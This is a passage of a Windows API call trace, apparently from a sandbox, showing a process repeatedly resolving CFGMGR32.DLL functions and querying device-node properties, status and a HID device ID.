lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.007] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.007] malloc (_Size=0x18) returned 0x196ef0d1b00 [0197.007] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.170] malloc (_Size=0x48) returned 0x196ef0fbea0 [0197.170] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56616bec, dwHighDateTime=0x1d9eb0c)) [0197.170] SetEvent (hEvent=0x248) returned 1 [0197.174] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.174] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.177] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.177] malloc (_Size=0x18) returned 0x196ef0d2060 [0197.177] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.178] malloc (_Size=0x48) returned 0x196ef0fbc70 [0197.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56616bec, dwHighDateTime=0x1d9eb0c)) [0197.178] SetEvent (hEvent=0x248) returned 1 [0197.181] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.181] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.184] malloc (_Size=0x18) returned 0x196ef0d1960 [0197.184] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.185] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0197.185] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5663c81c, dwHighDateTime=0x1d9eb0c)) [0197.185] SetEvent (hEvent=0x248) returned 1 [0197.188] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.188] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.188] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.189] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.190] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.191] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.191] malloc (_Size=0x18) returned 0x196ef0d19e0 [0197.191] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.192] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0197.192] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5663c81c, dwHighDateTime=0x1d9eb0c)) [0197.192] SetEvent (hEvent=0x248) returned 1 [0197.197] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.197] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.198] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.199] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.201] malloc (_Size=0x18) returned 0x196ef0d1a20 [0197.201] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0197.205] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0197.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x56662c68, dwHighDateTime=0x1d9eb0c)) [0197.205] SetEvent (hEvent=0x248) returned 1 [0197.208] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.208] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.211] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.212] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.212] malloc (_Size=0x18) returned 0x196ef0d1a40 [0197.212] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2d, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0197.212] malloc (_Size=0x48) returned 0x196ef0fbae0 [0197.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x56662c68, dwHighDateTime=0x1d9eb0c)) [0197.212] SetEvent (hEvent=0x248) returned 1 [0197.435] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.435] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.436] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.437] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.439] malloc (_Size=0x18) returned 0x196ef0d1b00 [0197.439] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2d, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0197.439] malloc (_Size=0x48) returned 0x196ef0fbd10 [0197.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x5689edc3, dwHighDateTime=0x1d9eb0c)) [0197.440] SetEvent (hEvent=0x248) returned 1 [0197.443] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.443] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.446] malloc (_Size=0x18) returned 0x196ef0d19a0 [0197.446] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0197.447] malloc (_Size=0x48) returned 0x196ef0fb360 [0197.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5689edc3, dwHighDateTime=0x1d9eb0c)) [0197.447] SetEvent (hEvent=0x248) returned 1 [0197.452] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.452] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0197.453] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0197.454] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0197.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0197.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0197.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0197.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0197.455] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0197.455] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0197.455] CM_Get_Device_IDA (in: dnDevInst=0x2e, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_1532&PID_0102\\6&377ACEB1&0&0000") returned 0x0 [0197.455] malloc (_Size=0x48) returned 0x196ef0fb680 [0197.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x568c502e, dwHighDateTime=0x1d9eb0c)) [0197.456] SetEvent (hEvent=0x248) returned 1 [0197.458] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0197.459] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0197.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0197.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0197.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0197.459] GetProcAddress (hModule=0x7ffa786c0000, 